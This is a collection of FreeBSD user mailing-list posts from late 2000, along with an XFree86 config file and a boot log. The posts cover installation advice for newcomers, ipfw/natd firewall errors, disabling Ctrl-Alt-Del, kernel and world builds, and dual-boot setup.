	This should not happen!
	An unresolved function was called!

Fatal server error:



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Section "Module"
    Load        "dbe"  	# Double buffer extension
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection
    Load        "type1"
    Load        "freetype"
EndSection

Section "Files"
    RgbPath	"/usr/X11R6/lib/X11/rgb"
    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
EndSection

Section "ServerFlags"
EndSection

Section "InputDevice"
    Identifier	"Keyboard1"
    Driver	"Keyboard"
    Option "AutoRepeat" "500 30"
    Option "XkbRules"	"xfree86"
    Option "XkbModel"	"pc101"
    Option "XkbLayout"	"us"
    Option "XkbCompat"	""
EndSection

Section "InputDevice"
    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "MouseMan"
    Option "Device"      "/dev/cuaa0"
    Option "ChordMiddle"
EndSection

Section "Monitor"
    Identifier  "Nokia 445Xavc"
    HorizSync   30-102
    VertRefresh 50-150
EndSection

Section "Device"
    Identifier  "i810"
    VendorName	"Intel"
    Driver      "i810"
EndSection

Section "Screen"
    Identifier  "Screen 1"
    Device      "i810"
    Monitor     "Nokia 445Xavc"
    DefaultDepth 16

    Subsection "Display"
        Depth       8
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
EndSection

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 1"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
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Copyright (c) 1992-2000 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
	The Regents of the University of California. All rights reserved.
FreeBSD 4.1.1-RELEASE #0: Tue Oct 31 22:10:33 PST 2000
    root@dah.iprg.nokia.com:/usr/src/sys/compile/DAH
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (730.97-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x683  Stepping = 3
  Features=0x387f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,PN,MMX,FXSR,XMM>
real memory  = 132907008 (129792K bytes)
avail memory = 125571072 (122628K bytes)
pnpbios: Bad PnP BIOS data checksum
Preloaded elf kernel "kernel" at 0xc03c6000.
Pentium Pro MTRR support enabled
md0: Malloc disk
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82810E (i810E GMCH) Host To Hub bridge> on motherboard
pci0: <PCI bus> on pcib0
agp0: <Intel 82810E (i810E GMCH) SVGA controller> mem 0xffa80000-0xffafffff,0xf8000000-0xfbffffff irq 11 at device 1.0 on pci0
pcib1: <Intel 82801AA (ICH) Hub to PCI bridge> at device 30.0 on pci0
pci1: <PCI bus> on pcib1
pci1: <unknown card> (vendor=0x1274, dev=0x1371) at 7.0 irq 11
de0: <Digital 21140 Fast Ethernet> port 0xdc00-0xdc7f mem 0xff8ffc00-0xff8ffc7f irq 11 at device 8.0 on pci1
de0: SMC 9332DST 21140 [10-100Mb/s] pass 1.1
de0: address 00:00:c0:e8:51:bf
de0: enabling 10baseT port
isab0: <Intel 82801AA (ICH) PCI to LPC bridge> at device 31.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel ICH ATA66 controller> port 0xffa0-0xffaf at device 31.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
uhci0: <Intel 82801AA (ICH) USB controller> port 0xef80-0xef9f irq 9 at device 31.2 on pci0
usb0: <Intel 82801AA (ICH) USB controller> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
pci0: <unknown card> (vendor=0x8086, dev=0x2413) at 31.3 irq 10
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode
plip0: <PLIP network interface> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
ppi0: <Parallel I/O> on ppbus0
ad0: 29333MB <WDC WD307AA-00BAA0> [59598/16/63] at ata0-master using UDMA66
acd0: CD-RW <CD-R/RW RW7083A> at ata1-master using PIO4
Mounting root from ufs:/dev/ad0s2a

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On 01-Nov-00 Igor Roboul wrote:
> On Wed, Nov 01, 2000 at 10:19:40AM +0400, Rino Mardo wrote:
>> I concur.  FreeBSD is not for the faint of heart.  You might want to try
>> Storm Linux or SuSe 7 which are far, far better than RedHat or Mandrake.
> This is not Linux list, but for easy of use I do not recommend both
> Storm and RedHat. I never used Mandrake and SuSE (I just cant download SuSE 
> ISO, because it is not avaliable). I have setup Caldera OpenLinux eDesktop2.4
> on my girfriend's PC at home. She has Windows on it too, but can use
> Linux for tasks like reading e-mail or browsing.
> Caldera's OpenLinux is very easy to install, but FreeBSD is not hard to
> install
> too. GUI installation is not same as "easy" installation.
> So, if he does not need working desktop publishing workstation _NOW_ :-), I
> still recommend FreeBSD, just wait for 4.2-RELEASE, and ask your friend
> to help you.
> But, generally, if I talk about friends, it is better install something, for 
> which you have "live person near you" :-)

Exaktly my point in another thread some time ago. What a newbie needs best is
someone to put his/her questions to. If you are into BSD then recommend BSD, if
you are into Linux then recommend the same dist as you use yourself. It can be
very annoying for a newbie to see how helpless his computer literate friend is
with an OS he is not used to.

Apart from that I'd recommend FreeBSD before anything else. Recently I had the
opportunity to introduce a guest professor to FreeBSD. She had really no
computer training from the sysadmins view, but was very keen to learn. So we
spent some time partitioning disks, discussing the pros and cons of partition
sizes and even opened up an old disk drive for fun. All this she learned a lot
from. But when it comes to do the actual installation of FreeBSD the barrage of
questions was to much for her in the end. I made a trial installation session
with her and then she tried at least three times to do it herself, but failed to
answer the correct thing onto just one or two questions, with a non-working
system as a result. A co-worker made her try RedHat 6.2, it installed as a 
breeze and actually also setup the correct X-server for her. 

I have pointed out that RedHat puts more stuff on the drive than one (I anyway)
would want, but at the end of the day, disk space is ubiquitus and cheap. And
the pleasure of having got the system up and running gives her better feedback,
than the FreeBSD sysinstall does.

Personally I really, really like the port/packages device and also, being a
minimalist, I like to have a small system first and then extend it with the
programs *I* want to be there not what anyone else think I should be using.

All in all. The problem seems to have been sysinstall here. Or anyway the
program to perform the initial installation. Imagine that sysinstall is used for
post-install configuration only or installation for the advanced user then
another couple of boot-diskettes could be used to a more user friendly
installation interface for newcomers or any 'generic' user. (Personally I do not
like the idea of a generic user, but some people, specially the ones just trying
FreeBSD for the first time and are not that computer savvy might find this
handy).


Cheers,
/Micke


 


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ok... a couple of questions
i'm trying to install linux netscape 6 on a free bsd machine... it
installed pretty much on the debian drive on the same machine earlier. 
it's complaining about missing libraries when i try to install it on the
bsd drive though:

./netscape-installer-bin: error in loading shared libraries:
libgtk-1.2.so.0: cannot open shared object file: No such file or
directory

so i guess my question is if anyone has had luck making netscape work,
and also in general how to obtain libraries required to run linux
programs.

secondly, as root (even with messages turned off) or any time i run a
command using 'sudo' i get messages to the terminal (error messages /
sudo messages).  is there a way to make all messages go to a log file
and not to the terminal at all?

-w


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Yes clear, thorough documentation is what attracted me and kept using
FreeBSD (in spite of that ata0-master timeout I'm still having while doing
make build -- sigh!).

With Linux,  I feel it's becoming the M$ of the *NIX world as GOOEY here and
there are making the kernel bloated.  I guess it's just me coming from the
old school of *NIX.

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> Tony -
>
> In response to others who've answered, I'd like to add that (in my
> experience) if you're interested in some flavor of Unix and friends,
> FreeBSD presents to a newcomer at least one advantage that I don't
> think Linux can match: clear, thorough documentation. I was quite
> impressed by the readability and depth (often conflicting goals!) of
> Greg Lehey's book.  I learned Linux by chasing information on the
> 'net, but if I was a newbie all over again, I'm pretty sure that with
> a book like Greg's, I'd have had a much easier time with FreeBSD than
> I had with Linux.
>
> I use Red Hat on my laptop, and I like it just fine, but it's a moving
> target.  If you want to learn computing the right way, you can't do
> better than here ... if you're persistent and willing to read, you'll
> do fine.  The points about device support are certainly valid,
> however. Cutting-edge hardware support, which many Linux distributions
> have, really isn't one of FreeBSD's strengths.
>
> Whatever you decide, have fun!
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> Anthony J Knapp wrote:
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> >Help, please!
> >
> >As a newcomer to any kind of computing, and as one who'd like to get away
from Windows, what is the easiest way to start with Freebsd?
> >
> >I've tried to trace a plain English book on the subject without success.
> >
> >Is Freebsd suitable for beginners?  Could I run the normal
wordprocessing, database, and spreadsheet applications with it?
> >
> >
> >Thanks,
> >
> >
> >
> >
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i suggest you use the ports instead.  as root, cd /usr/ports/www and then cd
to the netscape directory, then do a "make install" within that directory.

the error messages you can redirect.  edit /etc/syscon.conf


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> ok... a couple of questions
> i'm trying to install linux netscape 6 on a free bsd machine... it
> installed pretty much on the debian drive on the same machine earlier.
> it's complaining about missing libraries when i try to install it on the
> bsd drive though:
>
> ./netscape-installer-bin: error in loading shared libraries:
> libgtk-1.2.so.0: cannot open shared object file: No such file or
> directory
>
> so i guess my question is if anyone has had luck making netscape work,
> and also in general how to obtain libraries required to run linux
> programs.
>
> secondly, as root (even with messages turned off) or any time i run a
> command using 'sudo' i get messages to the terminal (error messages /
> sudo messages).  is there a way to make all messages go to a log file
> and not to the terminal at all?
>
> -w
>
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On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > I just decided to make my firewall rules more strict, so I set my type to
> > "simple" in rc.conf... and now I get this error 
> > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > denied)
> > 
> This happens when ipfw blocks packets written back by natd(8).
> 
> > my rules are the same rules as the "simple" specification in rc.firewall. 
> > 
> There was a problem with the stock "simple" firewall, which has now been
> fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> 
> > Could someone tell me how to get rid of this error?
> > 
> Make sure your rc.firewall is rev 1.30.2.5 or higher.

Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
it does not have a chance of working for your average natd(8) setup.
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On Wed, Nov 01, 2000 at 12:27:36AM -0800, Crist J . Clark wrote:
> On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > I just decided to make my firewall rules more strict, so I set my type to
> > > "simple" in rc.conf... and now I get this error 
> > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > denied)
> > > 
> > This happens when ipfw blocks packets written back by natd(8).
> > 
> > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > 
> > There was a problem with the stock "simple" firewall, which has now been
> > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > 
> > > Could someone tell me how to get rid of this error?
> > > 
> > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> 
> Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> it does not have a chance of working for your average natd(8) setup.
> 
If ${oip} and ${onet} are set to some real values, the "simple" firewall
should work.  If they are set to some RFC1918 or draft-manning-dsua ones,
this (of course) will not work, and you will have to either delete two
"deny" rules (one before and one after the divert rule) that include your
${onet}:${omask} network.  Anything else?


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How do I write my own system call and put it in my kernel?

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hi

on the linux machine users start with uid 500, on freebsd
they normaly start with 1000. Will that be a problem
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Brandon Fosdick <bfoz@glue.umd.edu> types:
> Mike Meyer wrote:
> > 
> > Tony Johnson writes:
> > > Check /etc/make.conf.  Also check /etc/default for default make options.
> > > The cc/gcc programs control switches with program builds.  As far as
> > > experimenting with optimization and debugging options , don't do it.  I've
> > > done this and it has done nothing but made unbootable kernels and core
> > > dumping programs.
> > The flags for make in /usr/src are listed at the top of
> > /usr/src/Makefile.inc1. The one you want is -DNOCLEAN.
> Thanks, I found it. I was thinking that they should be listed in the handbook or
> a tuturial until I found them and realized thats its mostly stuff that you can
> shoot yourself with. I do still think that -DNOCLEAN should be mentioned in the
> make world part of the docs, since that can be useful at times. 

Well, I don't agree with you - because you NOCLEAN can also be
dangerous. However, if you really feel that way about it, figure out
where it should be mentioned (maybe the mention should just be a
pointer to where the list is?), and submit a pr with the changes added
to it. If the maintaines of wherever you think it should go agree with
you, it'll should go in.

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> Perhaps try something as simple as just setting up symbolic links?
...
> > I was wondering if there is a config file or env var I can set to change the
> > locations of /usr/obj and /usr/ports to alter the behaviour of the make process.
> > 
> > --mtc

Use the env variables MAKEOBJDIRPREFIX and PORTSDIR.

See /usr/share/mk/bsd.obj.mk and /usr/share/mk/bsd.port.mk

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On Thu, Oct 19, 2000 at 07:58:25PM -0400, Tom Hines wrote:
> 
> >Hi.  Relative newbie here.  I was browsing the freebsd web site the other
> >day and noticed the section on upgrade kits at
> >http://www.freebsd.org/ports/.  Because I run 4.0-RELEASE, I installed the
> >4.0 to 4-stable upgrade kit, and now I can't install any ports.  It fails 
> >on
> >fetch with the message "bad system call".  I noticed that one of the files
> >upgraded by the kit was libc.so, which is a symlink that was pointing to
> >libc.so.3 and now points to the new libc.so.4.  I suspect that might be the
> >problem.
> >
> >I tried deleting the package with pkg_delete, but got a message saying that
> >was impossible because it would render my system useless.  What can I do?
> >Can I just point libc.so back to libc.so.3?  I vaguely recall a utility to
> >do such things called ldd or something but I can't remember.
> 
> Whoa.  It's much worse than I thought.  Now none of my devices work.  
> They're either not found or not configured.  What happened?  I need to 
> reverse that upgrade kit, but it deleted my old libc.so.3.  Please help.


I don't know if you've received or still need any more help with this,
Tom (I don't follow freebsd-questions), but there seems to be a problem
with that upgrade kit, which is being investigated.

Keep your eye on the problem report at
http://www.FreeBSD.org/cgi/query-pr.cgi?pr=21997
for any updates.

Meanwhile, having installed this package to two machines myself today,
and losing most of their connection to the outside world in the process,
I would caution anyone else not to use 40upgrade.tgz it until the above
URL gives the all clear.





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> Also, i forgot, but some how on my BSD boxes, I disabled the CNTRL-ALT-DEL 
> function, could anyone please remind me how I did it? :)

Recompile a kernel with the SC_DISABLE_REBOOT option.  See LINT.

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recompile a kernel just for that?  is there any other method?  i know some
*NIX distros would only have it in their /etc/profile so maybe a request
could be made to the kernel developers about putting it in
/etc/defaults/rc.conf ?


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>
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john@goodleaf.net types:
> For academic reasons, I find myself needing to read some database journals.
> However, the list of recommended journals seems more like a list of trade
> rags to me (e.g. SQL Server Magazine). I hope to find something less
> vendorish and more "academic." 

Try checking the ACM web site <URL: http://www.acm.org/ > SIG listings
to see if any of the SIGs have a journal you can use. Failing that,
I'd try the less specific journals (JACM, for instance).

> I'd like to be able to write my abstracts (glorified book reports) without
> feeling like I'm helping the M$ cottage industry. Any recommendations?

I hope to get a page up over the next week about the various WP
packages available for FreeBSD. Look in /usr/ports/editors for
choices, though - starwriter (in the staroffice52 port), kword
(koffice), AbiWord and a WordPerfect demo are all in the ports
tree. If you really want to support FreeBSD, you can buy Applixware
Office from the FreeBSD Mall <URL: http://www.freebsdmall.com/
>. Finally, there's a Linux port of Frame in beta from Adobe <URL:
http://www.adobe.com > that can be made to work.

If you don't have to follow a specific style guide, all of them but
AbiWord (it's a pre-1.0 release) will probably do the job. If you have
to follow a style guide, you may want to drop kword (ditto) as
well. Starwriter is the only free one that makes that cut, and I'd use
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It shouldn't be a problem, unless you already have users
on FreeBSD setup with UIDs in the region of 500.  A quick 
scan of my passwd file reveals that all the "built in"
accounts are numbered below 70, except nobody which is 
65534.  So if yours is similar, then I can't see any
problem.

Dan

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hi

on the linux machine users start with uid 500, on freebsd
they normaly start with 1000. Will that be a problem
if i move them over to bsd with preserving the same uid?

any advise appreciated,
slava


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> > > Also, i forgot, but some how on my BSD boxes, I disabled the
> CNTRL-ALT-DEL
> > > function, could anyone please remind me how I did it? :)
> >
> > Recompile a kernel with the SC_DISABLE_REBOOT option.  See LINT.
> >
> recompile a kernel just for that?  is there any other method?

Yes.  No.

> i know some *NIX distros would only have it in their /etc/profile so
> maybe a request could be made to the kernel developers about putting
> it in /etc/defaults/rc.conf ?

Rebooting via the keyboard is a function of the console driver.  In order
to change its behaviour, you need to recompile it (along with many other
otions).

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On Wed, Nov 01, 2000 at 09:55:38PM +1100, Andy Farkas wrote:
> 
> > > > Also, i forgot, but some how on my BSD boxes, I disabled the
> > CNTRL-ALT-DEL
> > > > function, could anyone please remind me how I did it? :)
> > >
> > > Recompile a kernel with the SC_DISABLE_REBOOT option.  See LINT.
> > >
> > recompile a kernel just for that?  is there any other method?
> 
> Yes.  No.
> 

Yes. and Yes. actually. You can just change the keyboard map to remove the
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On Wed, 1 Nov 2000, Erik Trulsson wrote:

> > > > Recompile a kernel with the SC_DISABLE_REBOOT option.  See LINT.
> > > >
> > > recompile a kernel just for that?  is there any other method?
> > 
> > Yes.  No.
> > 
> 
> Yes. and Yes. actually. You can just change the keyboard map to remove the
> binding of C-A-D to boot. See keyboard(4) and kbdcontrol(1) for more info.
> 

I stand corrected - not too familiar with keyboard maps...

> 
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> ertr1013@student.uu.se
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leoric@home.com types:
> I have read things from the FreeBSD webpage, archived mailing list
> posts, and /usr/src/UPDATING. The proper way to build world and build a
> kernel from source is different in each of these.

First, there are two ways to build a kernel from source, and you need
to use different ones in different cases. UPDATING always talks about
rebuilding things with updated sources for everything; if that's what
you're doing, you should follow that one (which is make
buildworld/buildkernel/installkernel/installworld). Without a specific
URL, it's hard to say what "the FreeBSD webpage" is talking about, but
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a kernel from sources that are already installed and running. However,
you can also do "buildkernel/installkernel" if you've already done the
full world/kernel/kernel/world dance, and not deleted /usr/obj.

Be warned that some of the things that can be set in /etc/make.conf
can cause the method with config to break, and some can cause the
system to be unbootable until the intallworld is done.

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The single most important thing is that you have people handy who are
able and willing to help you over the initial hurdles. For Open Source
systems, that largely means the net, or books if you can find
them. For Mac/Windows, that probably means the store you bought the
computer at, and once again books if you can find them.

[The rest is rant. You should probably ignore it.]

Rino Mardo <helixfish@gmx.net> types:
> With Linux,  I feel it's becoming the M$ of the *NIX world as GOOEY here and
> there are making the kernel bloated.  I guess it's just me coming from the
> old school of *NIX.

Well, not all Linux's feels that way. I installed TurboLinux, and it
actually let me do it the way I wanted without doing a custom
install. It felt like doing something that was a Unix install, not a
Windows install (and some Linux systems give me the latter feeling).

Tim McMillen <timcm@umich.edu> types:
> On Tue, 31 Oct 2000, Chip wrote:
> > I wouldn't give you any flak, I'm just curious why you would
> > recommend the 
> > Mac. Why would it be better than any custom 'pc'? I will admit, I
> > have never
> > used a Mac and know basicaly nothing about them.
> 	Well Basically because there are whole teams of people at apple
> whose job is to make the OS easy to use.

[Sore Toes Mode]

Well, the original goal was to make it easy for *casual users* to
use. They were justifiable quite proud of the results. For people who
use a computer a couple of hours every other day or so, it's really,
really straightforward. Unfortunately, it's a *nightmare* for people
who need to use the thing most of the day, 5 or more days a
week. Having only one mouse button means the casual user never has to
figure out which one to press. For the power use, it means that half
(or 2/3rds, if you're used to a three-button mouse) the things that
should be a mouse click away now require a trip to the menu, or are
lost among the many <keyboard-key-down>-click actions that the Mac
has.

I could go for any number of features, but I think that makes the
point.

> They also have proffesional
> interface designers whose job is to study how people interface with the
> computer.  And these people's opinions are listened to unlike other
> places.  When trying to get the same task done in windows and Mac, the
> mac task is much easier.  Often when using Mac OS, I find myself saying
> 'man, somebody was thinking there'

Personally, I find the Mac and Windows to be nearly
indistinguishable. Neither is user friendly enough to behave the way I
want it to. Both have lots of "features" whose primary purpose seems
to be to make me curse at the machine. Both systems tend to crash when
I start running software on them the way I run it on Unix systems.

> 	Mac OS X, coming out soon (Beta already of course) will combine
> that ease of use and well thought out interface with a solid unix core.
> See www.apple.com/macosx/   if you dig around enough you can find some
> details.

I haven't looked at Mac OS X. I've seen at least one long time Mac
user whose primary reaction was "Apple has screwed up big time". They
fit the Mac user profile you provided - they don't care about the OS,
or why things work they way they do. They just want them to work. The
beef was apparently that Apple changed the *default* behavior, so that
it's now suitable for a power users instead of that typical Mac
user. You can get the old behaviors back, but it requires resetting
all the preferences.

> 	And I would have to politely disagree with Igor and say that ease
> of use (for a beginner;  ease meaning: does not have to learn too much to
> get something done) does pretty much equate with GUI.  Now efficiency and
> getting a lot done in a short time (power) are a different story.  A GUI
> cannot do that well.

I agree with igor. There is as much to learn with a GUI as with a
CLI. The difference is that a GUI displays a partial list of things to
try, instead of having an unknown list of command names. In one case,
you have to learn what each of the funky buttons does (and I've
*never* seen a GUI that was intuitively obvious to someone who's never
used one before), in the other you have to learn the funky words and
what they do. The GUI makes simple things easy to get to, but that's
only useful if your definition of "simple things" and the designers
happen to coincide. If they don't, then you're probably going to wind
lost in a maze of buttons and menus, trying to find what you
need. That's much more painful than being lost in a maze of
directories.

[Ok, end of rant]

	<mike


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I am thinking why we can not have a sysctl item to
enable / disable it dynamicly by root like Linux to
avoid recompiling, it's ugly to recompile kernel for
such small function.

----- Original Message ----- 
From: Andy Farkas <andyf@speednet.com.au>
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> 
> > > > Also, i forgot, but some how on my BSD boxes,
I disabled the
> > CNTRL-ALT-DEL
> > > > function, could anyone please remind me how I
did it? :)
> > >
> > > Recompile a kernel with the SC_DISABLE_REBOOT
option.  See LINT.
> > >
> > recompile a kernel just for that?  is there any
other method?
> 
> Yes.  No.
> 
> > i know some *NIX distros would only have it in
their /etc/profile so
> > maybe a request could be made to the kernel
developers about putting
> > it in /etc/defaults/rc.conf ?
> 
> Rebooting via the keyboard is a function of the
console driver.  In order
> to change its behaviour, you need to recompile it
(along with many other
> otions).
> 
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On Wed, 1 Nov 2000, Yifeng Xu wrote:

> I am thinking why we can not have a sysctl item to
> enable / disable it dynamicly by root like Linux to
> avoid recompiling, it's ugly to recompile kernel for
> such small function.

You are probably right.  I've always thought it odd that you can walk up
to a Unix (aka FreeBSD) console and press <ctrl-alt-del> and have it
reboot!  Perhaps the default condition should be to ignore it?

It is too late to lobby this "feature" for FreeBSD 4.2-RELEASE.  Perhaps
for 5.0?

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I've got an ISDN modem, and i'd like to know if i have to recompile my
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It is an ELSA Microlink ISDN modem...

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Morning all ...

	Two questions ... how does one run 'mergemaster' in an environment
where /usr/src is shared read-only from a central machine?  

============
rm -f /var/tmp/temproot/etc/termcap
ln -s /usr/share/misc/termcap /var/tmp/temproot/etc/termcap
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cannot create freebsd.cf: read-only file system
*** Error code 2

Stop in /usr/src/etc/sendmail.
*** Error code 1

Stop in /usr/src/etc.

  *** FATAL ERROR: Cannot 'cd' to /usr/src/etc and install files to the
      temproot environment
=============

	And, how does one build a kernel in a similar environment?  How do
you specific the kernel config file you want to use? 

=============
artemis# make buildkernel KERNEL=/root/artemis

--------------------------------------------------------------
>>> Rebuilding kernel(s)
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artemis# 
=============


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Hi Richard,

> Tried to install a soundblaster awe32 card on the system, not really
> important, but it didnt work...

Please show us the relevant lines of your kernel config and the following dmesg
output. Without this information, we aren´t able to help.
BTW, it sounds like wrong DMA, IRQ assignment.

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I agree it's too late.  It should be in FreeBSD 5.x when it comes out.


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On Wed, 1 Nov 2000, Yifeng Xu wrote:

> I am thinking why we can not have a sysctl item to
> enable / disable it dynamicly by root like Linux to
> avoid recompiling, it's ugly to recompile kernel for
> such small function.

You are probably right.  I've always thought it odd that you can walk up
to a Unix (aka FreeBSD) console and press <ctrl-alt-del> and have it
reboot!  Perhaps the default condition should be to ignore it?

It is too late to lobby this "feature" for FreeBSD 4.2-RELEASE.  Perhaps
for 5.0?

--

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On Tue, Oct 31, 2000 at 04:48:00PM -0800, Dima Dorfman wrote:
| Control+T?  Sample output:
| 
| load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k
| 
| Hope this helps

Yep, that's the one!  I think I might have tried that combination before,
but for some reason I didn't get it to work.  Probably because I was trying
it at the wrong time.  Where is the documentation on this feature?

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Hello Dima,

> Control+T?  Sample output:
> 
> load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k

This will do nothing on my system. Has this thing to be activated somewhere?
Where would I find any documentation about such goodies? Is this maybe shell
dependant (my standard shell is bash)?

Ciao
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> This will do nothing on my system. Has this thing to be activated somewhere?

stty status ^T

> Where would I find any documentation about such goodies? Is this maybe shell
> dependant (my standard shell is bash)?

It won't work in bash since it puts the terminal in raw mode.

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On Wed, Nov 01, 2000 at 02:56:07PM +0100, Siegbert Baude wrote:
| Hello Dima,
| 
| > Control+T?  Sample output:
| > 
| > load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k
| 
| This will do nothing on my system. Has this thing to be activated somewhere?
| Where would I find any documentation about such goodies? Is this maybe shell
| dependant (my standard shell is bash)?

Make sure you have a task running when you do this.  I'm not sure which
tasks produce output and which do not, but if you start a long disk operation
and hit ctrl-t WHILE IT IS RUNNING IN THAT TERMINAL you should get a line of
output.  I'm not 100% clear on this, however.

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Igor Roboul wrote:
> 
> On Wed, Nov 01, 2000 at 10:22:35AM +0400, Rino Mardo wrote:
> > yup.  i had an SiS 6326 and replaced it with a Matrox G200 AGP.  solved my
> > problems!
> Wow, $260 here in Sochi :-) With my home PC for $500 without monitor.
> But this PC has Matrox Millenium II PCI with 4Mb :-)
> Matrox cards is best cards for XFree from my expirience

Yow!  My G200 was only US$80 a couple of years ago!  Nice thing is, it
works
really well with XFree.

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Dear subscribers...

I have a few questions and I hope these questions won't be categorized at to
silly to ask.

1. When I run X as user1, how can I permit other user to run applications on
my display?
Example: I su - to root then when root tries to run some X application, my X
display doesn't permit it. What should I change so root be temporarily be
given the permission to ``draw'' something on user1's display

2. I have a Logitech PS/2 wheel mouse. Apparently, my mouse looks like an
OEM version. Black logo. In XFree86 3.3.6 days, I understand that the wheel
function for these mice doesn't work. Does it work with XFree86 4.x? I have
setup appropriate entry in XF86Config and have run imwheel. Still doesn't
work... Does anyone who have Logtich PS/2 mouse wheel OEM working under
XFree86 (working wheel I mean)?

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Shouldn't this be in the FAQ?  7.23 answers the question but does not
mention about changing key bindings.

					Tim


On Wed, 1 Nov 2000, Erik Trulsson wrote:

> On Wed, Nov 01, 2000 at 09:55:38PM +1100, Andy Farkas wrote:
> > 
> > > > > Also, i forgot, but some how on my BSD boxes, I disabled the
> > > CNTRL-ALT-DEL
> > > > > function, could anyone please remind me how I did it? :)
> > > >
> > > > Recompile a kernel with the SC_DISABLE_REBOOT option.  See LINT.
> > > >
> > > recompile a kernel just for that?  is there any other method?
> > 
> > Yes.  No.
> > 
> 
> Yes. and Yes. actually. You can just change the keyboard map to remove the
> binding of C-A-D to boot. See keyboard(4) and kbdcontrol(1) for more info.
> 
> 
> 
> -- 
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On Wed, Nov 01, 2000 at 09:17:54PM +0700, John Indra wrote:
> 3. I'm very interested in Postfix. On the first build, it failed because of
> SASL. Second, I try to build without SASL support cause I don't need it for
> practise server. All went fine. Do I have to modify any entry in
> /etc/rc.conf? Currently I let my system to run sendmail.
You don't. Bu you need modify /etc/mail/mailer.conf 
"man mailer.conf" at shell prompt without quotes


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i had that problem too.
if i recall correctly, i kinda solved it by leaving the windows-disk on the primary
master channel, and having the MBR on that disk.

i dont know an other way to solve this, and when reinstalling windows, it overwrites
the MBR anyway with its own entries, no matter which disk it is, AFAIK.

but (i am not so sure as i am not very experienced with this yet) i think the MBR must
always be on the first disk on the first ide channel to work correctly...

dont know if this helps, anyway

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> I installed Windows on IDE channel 0, then moved it to channel 1.
> I then installed FreeBSD on channel 0 with the windows disk active on channel 1,
> but during install I selected only the ad0 drive to participate in the install.
>
> When the system boots I am offered F1 = FreeBSD and F5 = Disk 1, and pressing
> F5 only boots FreeBSD again.
>
> I've tried variations including some use of boot0cfg, too much detail to report,
> except that after running boot0cfg against the Windows disk, F5 on the first
> disk gets to booteasy on the 2nd disk but now the system reports that F1 = Windows.
> (Why doesn't the first booteasy report F5 = Windows instead of F5 = Disk 1?)
>
> The question is:
>
> If I have a Windows disk that was master on IDE channel 0, then move it to master
> on channel 1 and want to install FreeBSD on the master on channel 0, what do
> I have to do to make it dual-boot properly? I want to leave the Windows disk the
> second drive and leave the MBR on the Windows disk alone, because the user keeps
> trashing Windows and clobbers booteasy (losing easy access to FreeBSD) when
> reinstalling Windows when Windows is the first drive.
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On Wed, Nov 01, 2000 at 09:22:16AM -0500, Andresen,Jason R. wrote:
> > Wow, $260 here in Sochi :-) With my home PC for $500 without monitor.
> > But this PC has Matrox Millenium II PCI with 4Mb :-)
> > Matrox cards is best cards for XFree from my expirience
> 
